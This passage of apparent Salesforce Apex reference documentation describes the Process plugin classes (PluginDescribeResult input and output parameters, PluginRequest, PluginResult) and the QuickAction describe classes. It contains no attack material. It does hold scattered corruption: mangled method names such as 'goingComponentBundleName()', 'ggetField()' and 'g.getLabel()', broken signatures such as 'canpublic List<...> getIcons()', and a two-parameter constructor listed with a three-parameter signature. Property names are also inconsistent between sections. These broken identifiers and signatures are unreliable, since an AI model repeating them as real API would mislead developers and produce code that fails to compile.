public List<Process.PluginDescribeResult.InputParameter> inputParameters {get; set;}
```

Property Value

Type: `List<Process.PluginDescribeResult.InputParameter>`

**name**

Unique name of the plug-in.

Signature

```java
public String name {get; set;}
```

Property Value

Type: `String`

Usage

Size limit: 40 characters.

**outputParameters**

The output parameters passed by the `Process.PluginResult` class from the class that implements the `Process.Plugin` interface to the flow.
public List<Process.PluginDescribeResult.OutputParameter> outputParameters {get; set;}

Property Value
Type: List<Process.PluginDescribeResult.OutputParameter>

PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.

Namespace
Process

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

IN THIS SECTION:
- PluginDescribeResult.InputParameter Constructors
- PluginDescribeResult.InputParameter Properties

PluginDescribeResult.InputParameter Constructors
The following are constructors for PluginDescribeResult.InputParameter.

IN THIS SECTION:
- PluginDescribeResult.InputParameter(name, description, parameterType, required)
  Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, description, parameter type, and required option.
- PluginDescribeResult.InputParameter(name, parameterType, required)
  Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, parameter type, and required option.

PluginDescribeResult.InputParameter(name, description, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, description, parameter type, and required option.

Signature
public PluginDescribeResult.InputParameter(String name, String description, Process.PluginDescribeResult.ParameterType parameterType, Boolean required)
Parameters

name
Type: String
Unique name of the plug-in.

description
Type: String
Describes the purpose of the plug-in.

parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

required
Type: Boolean
Set to true for required and false otherwise.

PluginDescribeResult.InputParameter(name, parameterType, required)

Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name, parameter type, and required option.

Signature

public PluginDescribeResult.InputParameter(String name, Process.PluginDescribeResult.ParameterType parameterType, Boolean required)

Parameters

name
Type: String
Unique name of the plug-in.

parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

required
Type: Boolean
Set to true for required and false otherwise.

PluginDescribeResult.InputParameter Properties

The following are properties for PluginDescribeResult.InputParameter.

IN THIS SECTION:

Description
This optional field describes the purpose of the plug-in.
Name
Unique name of the plug-in.

ParameterType
The data type of the input parameter.

Required
Set to true for required and false otherwise.

Description
This optional field describes the purpose of the plug-in.

Signature
public String Description {get; set;}

Property Value
Type: String

Usage
Size limit: 255 characters.

Name
Unique name of the plug-in.

Signature
public String Name {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

ParameterType
The data type of the input parameter.

Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}

Property Value
Type: Process.PluginDescribeResult.ParameterType
Required
Set to true for required and false otherwise.

Signature
public Boolean Required {get; set;}

PropertyValue
Type: Boolean

PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.

Namespace
Process

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn't support Blob, Collection, sObject, and Time data types, and it doesn't support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

IN THIS SECTION:
- PluginDescribeResult.OutputParameter Constructors
- PluginDescribeResult.OutputParameter Properties

PluginDescribeResult.OutputParameter Constructors
The following are constructors for PluginDescribeResult.OutputParameter.

IN THIS SECTION:
- PluginDescribeResult.OutputParameter(name, description, parameterType)
- Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.
- PluginDescribeResult.OutputParameter(name, parameterType)
- Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.

PluginDescribeResult.OutputParameter(name, description, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.
public PluginDescribeResult.OutputParameter(String name, String description, Process.PluginDescribeResult.ParameterType parameterType)

Parameters

name
Type: String
Unique name of the plug-in.

description
Type: String
Describes the purpose of the plug-in.

parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

PluginDescribeResult.OutputParameter(name, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name, description, and parameter type.

Signature

public PluginDescribeResult.OutputParameter(String name, String description, Process.PluginDescribeResult.ParameterType parameterType)

Parameters

name
Type: String
Unique name of the plug-in.

parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

PluginDescribeResult.OutputParameter Properties
The following are properties for PluginDescribeResult.OutputParameter.

IN THIS SECTION:

Description
This optional field describes the purpose of the plug-in.

Name
Unique name of the plug-in.
ParameterType
The data type of the input parameter.

Description
This optional field describes the purpose of the plug-in.

Signature
public String Description {get; set;}

Property Value
Type: String

Usage
Size limit: 255 characters.

Name
Unique name of the plug-in.

Signature
public String Name {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

ParameterType
The data type of the input parameter.

Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}

Property Value
Type: Process.PluginDescribeResult.ParameterType

PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
Namespace

Process

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

PluginRequest Properties

The following are properties for PluginRequest.

IN THIS SECTION:

inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.

Signature

```java
public MAP<String,ANY> inputParameters {get; set;}
```

Property Value

Type: Map<String, Object>

PluginResult Class

Returns output parameters from the class that implements the Process.Plugin interface to the flow.

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.

- The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace

Process

PluginResult Properties

The following are properties for PluginResult.
IN THIS SECTION:

**outputParameters**
Output parameters returned from the class that implements the interface to the flow.

**Signature**

```java
public MAP<String, ANY> outputParameters {get; set;}
```

**Property Value**

Type: `Map<String, Object>`

---

**QuickAction Namespace**

The `QuickAction` namespace provides classes and methods for quick actions.

The following are the classes in the `QuickAction` namespace.

IN THIS SECTION:

- **DescribeAvailableQuickActionResult Class**
  Contains describe metadata information for a quick action that is available for a specified parent.

- **DescribeLayoutComponent Class**
  Represents the smallest unit in a layout—a field or a separator.

- **DescribeLayoutItem Class**
  Represents an individual item in a `QuickAction.DescribeLayoutRow`.

- **DescribeLayoutRow Class**
  Represents a row in a `QuickAction.DescribeLayoutSection`.

- **DescribeLayoutSection Class**
  Represents a section of a layout and consists of one or more columns and one or more rows (an array of `QuickAction.DescribeLayoutRow`).

- **DescribeQuickActionDefaultValue Class**
  Returns a default value for a quick action.

- **DescribeQuickActionResult Class**
  Contains describe metadata information for a quick action.

- **QuickActionDefaults Class**
  Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.
QuickActionDefaultsHandler Interface

The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email and Send Email actions in the case feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for the Email action in the case feed. You can use the interface to pre-populate these fields based on the context where the action is displayed, such as the case origin (for example, country) and subject.

QuickActionRequest Class

Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by QuickAction class methods. Action information includes the action name, context record ID, and record.

QuickActionResult Class

After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action results.

SendEmailQuickActionDefaults Class

Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before the standard Email Action is rendered.

DescribeAvailableQuickActionResult Class

Contains describe metadata information for a quick action that is available for a specified parent.

Namespace

QuickAction

Usage

The QuickAction describeAvailableQuickActions method returns an array of available quick action describe result objects (QuickAction.DescribeAvailableQuickActionResult).

DescribeAvailableQuickActionResult Methods

The following are methods for DescribeAvailableQuickActionResult. All are instance methods.

IN THIS SECTION:

getActionEnumOrId()

Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.

getLabel()

The quick action label.

getName()

The quick action name.

getType()

The quick action type.

getActionEnumOrId()

Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
Signature
public String getActionEnumOrId()

Return Value
Type: String

getLabel()
The quick action label.

Signature
public String getLabel()

Return Value
Type: String

getName()
The quick action name.

Signature
public String getName()

Return Value
Type: String

dgetType()
The quick action type.

Signature
public String getType()

Return Value
Type: String

DescribeLayoutComponent Class
Represents the smallest unit in a layout—a field or a separator.

Namespace
QuickAction
DescribeLayoutComponent Methods

The following are methods for DescribeLayoutComponent. All are instance methods.

IN THIS SECTION:

- getDisplayLines()
  Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.

- getTabOrder()
  Returns the tab order for the item in the row.

- getType()
  Returns the name of the QuickAction.DescribeLayoutComponent type for this component.

- getValue()
  Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.

getDisplayLines()

Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.

Signature

public Integer getDisplayLines()

Return Value

Type: Integer

getTabOrder()

Returns the tab order for the item in the row.

Signature

public Integer getTabOrder()

Return Value

Type: Integer

getType()

Returns the name of the QuickAction.DescribeLayoutComponent type for this component.

Signature

public String getType()

Return Value

Type: String
getValue()

Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.

Signature

public String getValue()

Return Value

Type: String

DescribeLayoutItem Class

Represents an individual item in a QuickAction.DescribeLayoutRow.

Namespace

QuickAction

Usage

For most fields on a layout, there is only one component per layout item. However, in a display-only view, the QuickAction.DescribeLayoutItem might be a composite of the individual fields (for example, an address can consist of street, city, state, country, and postal code data). On the corresponding edit view, each component of the address field would be split up into separate QuickAction.DescribeLayoutItems.

DescribeLayoutItem Methods

The following are methods for DescribeLayoutItem. All are instance methods.

IN THIS SECTION:

getLabel()

Returns the label text for this item.

getLayoutComponents()

Returns a list of QuickAction.DescribeLayoutComponents for this item.

isEditableForNew()

Indicates whether this item can be edited for new (true) or not (false).

isEditableForUpdate()

Indicates whether this item can be edited for update (true) or not (false).

isPlaceholder()

Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.

isRequired()

Indicates whether this item is required (true) or not (false).
getLabel()  
Returns the label text for this item.

Signature  
public String getLabel()

Return Value  
Type: String

getLayoutComponents()  
Returns a list of QuickAction.DescribeLayoutComponents for this item.

Signature  
public List<QuickAction.DescribeLayoutComponent> getLayoutComponents()

Return Value  
Type: List<QuickAction.DescribeLayoutComponent>

isEditableForNew()  
Indicates whether this item can be edited for new (true) or not (false).

Signature  
public Boolean isEditableForNew()

Return Value  
Type: Boolean

isEditableForUpdate()  
Indicates whether this item can be edited for update (true) or not (false).

Signature  
public Boolean isEditableForUpdate()

Return Value  
Type: Boolean

isPlaceholder()  
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.
Signature

```java
public Boolean isPlaceholder()
```

Return Value
Type: Boolean

**isRequired()**
Indicates whether this item is required (true) or not (false).

Signature

```java
public Boolean isRequired()
```

Return Value
Type: Boolean

Usage
This is useful if, for example, you want to render required fields in a contrasting color.

**DescribeLayoutRow Class**

Represents a row in a QuickAction.DescribeLayoutSection.

**Namespace**

QuickAction

**Usage**

A QuickAction.DescribeLayoutRow consists of one or more QuickAction.DescribeLayoutItem objects. For each QuickAction.DescribeLayoutRow, a QuickAction.DescribeLayoutItem refers either to a specific field or to an "empty" QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent objects). An empty QuickAction.DescribeLayoutItem can be returned when a given QuickAction.DescribeLayoutRow is sparse (for example, containing more fields on the right column than on the left column).

**DescribeLayoutRow Methods**

The following are methods for DescribeLayoutRow. All are instance methods.

IN THIS SECTION:

- `getLayoutItems()`
  Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent objects).
getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.

getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent objects).

Signature
public List<QuickAction.DescribeLayoutItem> getLayoutItems()

Return Value
Type: List<QuickAction.DescribeLayoutItem>

getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.

Signature
public Integer getNumItems()

Return Value
Type: Integer

DescribeLayoutSection Class
Represents a section of a layout and consists of one or more columns and one or more rows (an array of QuickAction.DescribeLayoutRow).

Namespace
QuickAction

DescribeLayoutSection Properties
The following are properties for DescribeLayoutSection.

collapsed
The current view of the record details section: collapsed (true) or expanded (false).

Signature
public Boolean collapsed {get; set;}

2729
Property Value
Type: Boolean

layoutsectionid
The unique ID of the record details section in the layout.

Signature
public Id layoutsectionid {get; set;}

Property Value
Type: Id

DescribeLayoutSection Methods
The following are methods for DescribeLayoutSection.

IN THIS SECTION:
- getColumns()
  Returns the number of columns in the QuickAction.DescribeLayoutSection.
- getHeading()
  The heading text (label) for the QuickAction.DescribeLayoutSection.
- getLayoutRows()
  Returns an array of one or more QuickAction.DescribeLayoutRow objects.
- getLayoutSectionId()
  Returns the ID of the record details section in the layout.
- getParentLayoutId()
  Returns the ID of the layout upon which this DescribeLayoutSection resides.
- getRows()
  Returns the number of rows in the QuickAction.DescribeLayoutSection.
- isCollapsed()
  Indicates whether the record details section is collapsed (true) or expanded (false). If you build your own app, you can use this method to see whether the current user collapsed a section, and respect that preference in your own UI.
- isUseCollapsibleSection()
  Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).
- isUseHeading()
  Indicates whether to use the heading (true) or not (false).

getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.
**getColumns()**

The columns (widths) of the section.

Signature

```
public Integer getColumns()
```

Return Value

Type: Integer

**getHeading()**

The heading text (label) for the QuickAction.DescribeLayoutSection.

Signature

```
public String getHeading()
```

Return Value

Type: String

**getLayoutRows()**

Returns an array of one or more QuickAction.DescribeLayoutRow objects.

Signature

```
public List<QuickAction.DescribeLayoutRow> getLayoutRows()
```

Return Value

Type: List<QuickAction.DescribeLayoutRow>

**getLayoutSectionId()**

Returns the ID of the record details section in the layout.

Signature

```
public Id getLayoutSectionId()
```

Return Value

Type: Id

**getParentLayoutId()**

Returns the ID of the layout upon which this DescribeLayoutSection resides.

Signature

```
public Id getParentLayoutId()
```
Return Value
Type: Id

**getRows()**
Returns the number of rows in the `QuickAction.DescribeLayoutSection`.

Signature
```java
public Integer getRows()
```

Return Value
Type: Integer

**isCollapsed()**
Indicates whether the record details section is collapsed (`true`) or expanded (`false`). If you build your own app, you can use this method to see whether the current user collapsed a section, and respect that preference in your own UI.

Signature
```java
public Boolean isCollapsed()
```

Return Value
Type: Boolean

**isUseCollapsibleSection()**
Indicates whether the `QuickAction.DescribeLayoutSection` is a collapsible section (`true`) or not (`false`).

Signature
```java
public Boolean isUseCollapsibleSection()
```

Return Value
Type: Boolean

**isUseHeading()**
Indicates whether to use the `heading` (`true`) or not (`false`).

Signature
```java
public Boolean isUseHeading()
```

Return Value
Type: Boolean
DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.

Namespace
QuickAction

Usage
Represents the default values of fields to use in default layouts.

DescribeQuickActionDefaultValue Methods
The following are methods for DescribeQuickActionDefaultValue. All are instance methods.

IN THIS SECTION:

getDefaultValue()
Returns the default value of the quick action.

getField()
Returns the field name of the action.

getDefaultValue()
Returns the default value of the quick action.

Signature
public String getDefaultValue()

Return Value
Type: String

ggetField()
Returns the field name of the action.

Signature
public String getField()

Return Value
Type: String

DescribeQuickActionResult Class
Contains describe metadata information for a quick action.
Namespace

QuickAction

Usage

The QuickAction describeQuickActions method returns an array of quick action describe result objects (QuickAction.DescribeQuickActionResult).

IN THIS SECTION:

DescribeQuickActionResult Properties
DescribeQuickActionResult Methods

DescribeQuickActionResult Properties

The following are properties for DescribeQuickActionResult.

IN THIS SECTION:

canvasapplicationname
The name of the Canvas application invoked by the custom action.

colors
Array of color information. Each color is associated with a theme.

contextsobjecttype
The object used for the action. Was getsourceSobjectType() in API version 29.0 and earlier.

defaultvalues
The action's default values.

flowdevname
If the custom action invokes a flow, the fully qualified name of the flow.

flowrecordidvar
If the custom action invokes a flow, the input variable that the custom action passes the record's ID to.

height
The height in pixels of the action pane.

iconname
The name of the icon used for the action. If a custom icon is not used, this value isn't set.

icons
Array of icons. Each icon is associated with a theme.

iconurl
The URL of the icon used for the action. This icon URL corresponds to the 32x32 icon used for the current Salesforce theme, introduced in Spring ’10, or the custom icon, if there is one.

layout
The section of the layout where the action resides.

lightningcomponentbundleid
If the custom action invokes a Lightning component, the ID of the Lightning component bundle to which the component belongs.
lightningcomponentbundlename
If the custom action invokes a Lightning component, the name of the Lightning component bundle to which the component belongs.

lightningcomponentqualifiedname
The fully qualified name of the Lightning component invoked by the custom action.

miniiconurl
The icon's URL. This icon URL corresponds to the 16x16 icon used for the current Salesforce theme, introduced in Spring ’10, or the custom icon, if there is one.

showquickactionlcheader
Indicates whether the Lightning component quick action header and footer are shown. If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.

showquickactionvfheader
Indicates whether the Visualforce quick action header and footer should be shown. If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.

targetparentfield
The parent object type of the action. Links the target object to the parent object. For example, the value is Account if the target object is Contact and the parent object is Account.

targetrecordtypeid
The record type of the target record.

targetobjecttype
The action's target object type.

visualforcepagename
The name of the Visualforce page associated with the custom action.

visualforcepageurl
The URL of the Visualforce page associated with the action.

width
The width in pixels of the action pane, for custom actions that call Visualforce pages, Canvas apps, or Lightning components.

canvasapplicationname
The name of the Canvas application invoked by the custom action.

Signature

public String canvasapplicationname {get; set;}

Property Value

Type: String

colors
Array of color information. Each color is associated with a theme.
Signature

```java
public List<Schema.DescribeColorResult> colors {get; set;}
```

Property Value
Type: `List<Schema.DescribeColorResult>` on page 2889

`contextsobjecttype`
The object used for the action. Was `getsourceSobjectType()` in API version 29.0 and earlier.

Signature

```java
public String contextsobjecttype {get; set;}
```

Property Value
Type: `String`

`defaultvalues`
The action's default values.

Signature

```java
public List<QuickAction.DescribeQuickActionDefaultValue> defaultvalues {get; set;}
```

Property Value
Type: `List<QuickAction.DescribeQuickActionDefaultValue>`

`flowdevname`
If the custom action invokes a flow, the fully qualified name of the flow.

Signature

```java
public String flowdevname {get; set;}
```

Property Value
Type: `String`

`flowrecordidvar`
If the custom action invokes a flow, the input variable that the custom action passes the record's ID to.

Signature

```java
public String flowrecordidvar {get; set;}
```
Property Value
Type: String
Valid values are null or recordId.

**height**
The height in pixels of the action pane.

Signature
```
public Integer height {get; set;}
```

Property Value
Type: Integer

**iconname**
The name of the icon used for the action. If a custom icon is not used, this value isn’t set.

Signature
```
public String iconname {get; set;}
```

Property Value
Type: String

**icons**
Array of icons. Each icon is associated with a theme.

Signature
```
public List<Schema.DescribeIconResult> icons {get; set;}
```

Property Value
Type: List<Schema.DescribeIconResult> on page 2912>

If no custom icon was associated with the quick action and the quick action creates a specific object, the icons will correspond to the icons used for the created object. For example, if the quick action creates an Account, the icon array will contain the icons used for Account.

If a custom icon was associated with the quick action, the array will contain that custom icon.

**iconurl**
The URL of the icon used for the action. This icon URL corresponds to the 32x32 icon used for the current Salesforce theme, introduced in Spring ’10, or the custom icon, if there is one.
Signature

```java
public String iconurl {get; set;}
```

Property Value
Type: String

**layout**
The section of the layout where the action resides.

Signature

```java
public QuickAction.DescribeLayoutSection layout {get; set;}
```

Property Value
Type: `QuickAction.DescribeLayoutSection` on page 2729

**lightningcomponentbundleid**
If the custom action invokes a Lightning component, the ID of the Lightning component bundle to which the component belongs.

Signature

```java
public String lightningcomponentbundleid {get; set;}
```

Property Value
Type: String

**lightningcomponentbundlename**
If the custom action invokes a Lightning component, the name of the Lightning component bundle to which the component belongs.

Signature

```java
public String lightningcomponentbundlename {get; set;}
```

Property Value
Type: String

**lightningcomponentqualifiedname**
The fully qualified name of the Lightning component invoked by the custom action.

Signature

```java
public String lightningcomponentqualifiedname {get; set;}
```
miniconurl
The icon's URL. This icon URL corresponds to the 16x16 icon used for the current Salesforce theme, introduced in Spring '10, or the custom icon, if there is one.

Signature
public String miniconurl {get; set;}

showquickactionlcheader
Indicates whether the Lightning component quick action header and footer are shown. If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren't displayed.

Signature
public Boolean showquickactionlcheader {get; set;}

showquickactionvfheader
Indicates whether the Visualforce quick action header and footer should be shown. If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren't displayed.

Signature
public Boolean showquickactionvfheader {get; set;}

targetparentfield
The parent object type of the action. Links the target object to the parent object. For example, the value is Account if the target object is Contact and the parent object is Account.

Signature
public String targetparentfield {get; set;}

2739
Property Value
Type: String

**targetrecordtypeid**
The record type of the target record.

Signature

```java
public String targetrecordtypeid {get; set;}
```

Property Value
Type: String

**targetsobjecttype**
The action's target object type.

Signature

```java
public String targetsobjecttype {get; set;}
```

Property Value
Type: String

**visualforcepagename**
The name of the Visualforce page associated with the custom action.

Signature

```java
public String visualforcepagename {get; set;}
```

Property Value
Type: String

**visualforcepageurl**
The URL of the Visualforce page associated with the action.

Signature

```java
public String visualforcepageurl {get; set;}
```

Property Value
Type: String
**width**

The width in pixels of the action pane, for custom actions that call Visualforce pages, Canvas apps, or Lightning components.

**Signature**

```java
public Integer width {get; set;}
```

**Property Value**

Type: Integer

### DescribeQuickActionResult Methods

The following are methods for `DescribeQuickActionResult`. All are instance methods.

**IN THIS SECTION:**

- `getActionEnumOrId()`: Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
- `getCanvasApplicationName()`: Returns the name of the Canvas application, if used.
- `getColors()`: Returns an array of color information. Each color is associated with a theme.
- `getContextSobjectType()`: Returns the object used for the action. Replaces `getSourceSobjectType()` in API version 30.0 and later.
- `getDefaultValues()`: Returns the default values for a action.
- `getFlowDevName()`: If the custom action invokes a flow, returns the fully qualified name of the flow invoked by the custom action.
- `getFlowRecordIdVar()`: If the custom action invokes a flow, returns the input variable that the custom action passes the record’s ID to.
- `getHeight()`: Returns the height in pixels of the action pane.
- `getIconName()`: Returns the actions’ icon name.
- `getIconUrl()`: Returns the URL of the 32x32 icon used for the action.
- `getIcons()`: Returns a list of `Schema.DescribeIconResult` objects that describe colors used in a tab.
- `getLabel()`: Returns the action label.
- `getLayout()`: Returns the layout sections that comprise an action.
getLightningComponentBundleId()
If the custom action invokes a Lightning component, returns the ID of the Lightning component bundle to which the component belongs.

goingComponentBundleName()
If the custom action invokes a Lightning component, returns the name of the Lightning component bundle to which the component belongs.

goingComponentQualifiedName()
If the custom action invokes a Lightning component, returns the fully qualified name of the Lightning component invoked by the custom action.

getMiniIconUrl()
Returns the 16x16 icon URL.

getName()
Returns the action name.

getShowQuickActionLcHeader()
Returns an indication of whether the Lightning component quick action header and footer are shown.

getShowQuickActionVfHeader()
Returns an indication of whether the Visualforce quick action header and footer should be shown.

getSourceSobjectType()
Returns the object type used for the action.

targetParentField()
Returns the parent object’s type for the action.

targetRecordTypeId()
Returns the record type of the targeted record.

targetSobjectType()
Returns the action’s target object type.

getType()
Returns a create or custom Visualforce action.

getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.

getVisualforcePageUrl()
Returns the URL of the Visualforce page associated with the action.

getWidth()
If a custom action is created, returns the width in pixels of the action pane.

goingEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.

**Signature**

```java
public String getActionEnumOrId()
```
Return Value
Type: String

**getCanvasApplicationName()**
Returns the name of the Canvas application, if used.

Syntax
```java
public String getCanvasApplicationName()
```

Return Value
Type: String

**getColors()**
Returns an array of color information. Each color is associated with a theme.

Signature
```java
public List<Schema.DescribeColorResult> getColors()
```

Return Value
Type: List<Schema.DescribeColorResult>

**getContextSobjectType()**
Returns the object used for the action. Replaces `getSourceSobjectType()` in API version 30.0 and later.

Signature
```java
public String getContextSobjectType()
```

Return Value
Type: String

**getDefaultValues()**
Returns the default values for a action.

Signature
```java
public List<QuickAction.DescribeQuickActionDefaultValue> getDefaultValues()
```

Return Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>
`getFlowDevName()`
If the custom action invokes a flow, returns the fully qualified name of the flow invoked by the custom action.

Signature

```java
public String getFlowDevName()
```

Return Value
Type: `String`

`getFlowRecordIdVar()`
If the custom action invokes a flow, returns the input variable that the custom action passes the record’s ID to.

Signature

```java
public String getFlowRecordIdVar()
```

Return Value
Type: `String`

`getHeight()`
Returns the height in pixels of the action pane.

Signature

```java
public Integer getHeight()
```

Return Value
Type: `Integer`

`getIconName()`
Returns the actions’ icon name.

Signature

```java
public String getIconName()
```

Return Value
Type: `String`

`getIconUrl()`
Returns the URL of the 32x32 icon used for the action.
Signature

public String getIconUrl()

Return Value
Type: String

getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.

Signature

canpublic List<Schema.DescribeIconResult> getIcons()

Return Value
Type: List<Schema.DescribeIconResult>

g.getLabel()
Returns the action label.

Signature

public String getLabel()

Return Value
Type: String

g.getLayout()
Returns the layout sections that comprise an action.

Signature

public QuickAction.DescribeLayoutSection getLayout()

Return Value
Type: QuickAction.DescribeLayoutSection

g.getLightningComponentBundleId()
If the custom action invokes a Lightning component, returns the ID of the Lightning component bundle to which the component belongs.

Signature

canpublic String getLightningComponentBundleId()
getLightningComponentBundleName()

If the custom action invokes a Lightning component, returns the name of the Lightning component bundle to which the component belongs.

Signature
public String getLightningComponentBundleName()

getLightningComponentQualifiedName()

If the custom action invokes a Lightning component, returns the fully qualified name of the Lightning component invoked by the custom action.

Signature
public String getLightningComponentQualifiedName()

getMiniIconUrl()

Returns the 16x16 icon URL.

Signature
public String getMiniIconUrl()

getName()

Returns the action name.

Signature
public String getName()
Return Value
Type: String

**getShowQuickActionLcHeader()**
Returns an indication of whether the Lightning component quick action header and footer are shown.

**Signature**
```
public Boolean getShowQuickActionLcHeader()
```

**Return Value**
Type: Boolean
If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren't displayed.

**getShowQuickActionVfHeader()**
Returns an indication of whether the Visualforce quick action header and footer should be shown.

**Signature**
```
public Boolean getShowQuickActionVfHeader()
```

**Return Value**
Type: Boolean
If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren't displayed.

**getSourceSobjectType()**
Returns the object type used for the action.

**Signature**
```
public String getSourceSobjectType()
```

**Return Value**
Type: String

**getTargetParentField()**
Returns the parent object's type for the action.

**Signature**
```
public String getTargetParentField()
```
Return Value
Type: String

getTargetRecordTypeId()
Returns the record type of the targeted record.

Signature
public String getTargetRecordTypeId()

Return Value
Type: String

getTargetSobjectType()
Returns the action’s target object type.

Signature
public String getTargetSobjectType()

Return Value
Type: String

getType()
Returns a create or custom Visualforce action.

Signature
public String getType()

Return Value
Type: String

getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.

Signature
public String getVisualforcePageName()

Return Value
Type: String
**getVisualforcePageUrl()**
Returns the URL of the Visualforce page associated with the action.

Signature

```java
public String getVisualforcePageUrl()
```

Return Value
Type: String

**getWidth()**
If a custom action is created, returns the width in pixels of the action pane.

Signature

```java
public Integer getWidth()
```

Return Value
Type: Integer

### QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.

**Namespace**
QuickAction

**Usage**

⚠️ **Note:** You cannot extend this abstract class. You can use the getter methods when using it in the context of QuickAction.QuickActionDefaultsHandler. Salesforce provides a class that extends this class (See QuickAction.SendEmailQuickActionDefaults.)

IN THIS SECTION:
QuickActionDefaults Methods

### QuickActionDefaults Methods
The following are methods for QuickActionDefaults.

IN THIS SECTION:
getActionName()

Retruns the name of the standard Email Action on Case Feed (Case.Email).
getActionType()
Returns the type of the standard Email Action on Case Feed (Email).

getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).

getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).

getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).

Signature
public String getActionName()

Return Value
Type: String

getActionType()
Returns the type of the standard Email Action on Case Feed (Email).

Signature
public String getActionType()

Return Value
Type: String

getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).

Signature
public Id getContextId()

Return Value
Type: Id

getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).

Signature
public SObject getTargetSObject()
QuickActionDefaultsHandler Interface

The `QuickAction.QuickActionDefaultsHandler` interface lets you specify the default values for the standard Email and Send Email actions in the case feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for the Email action in the case feed. You can use the interface to pre-populate these fields based on the context where the action is displayed, such as the case origin (for example, country) and subject.

Namespace

QuickAction

Usage

To specify default values for the standard Email action in the case feed, create a class that implements `QuickAction.QuickActionDefaultsHandler`.

The `QuickAction.QuickActionDefaultsHandler` interface works in Salesforce Classic and Lightning Experience.

When working in Lightning Experience, keep the following things in mind:

- The interface overrides email values set up with predefined IDs.
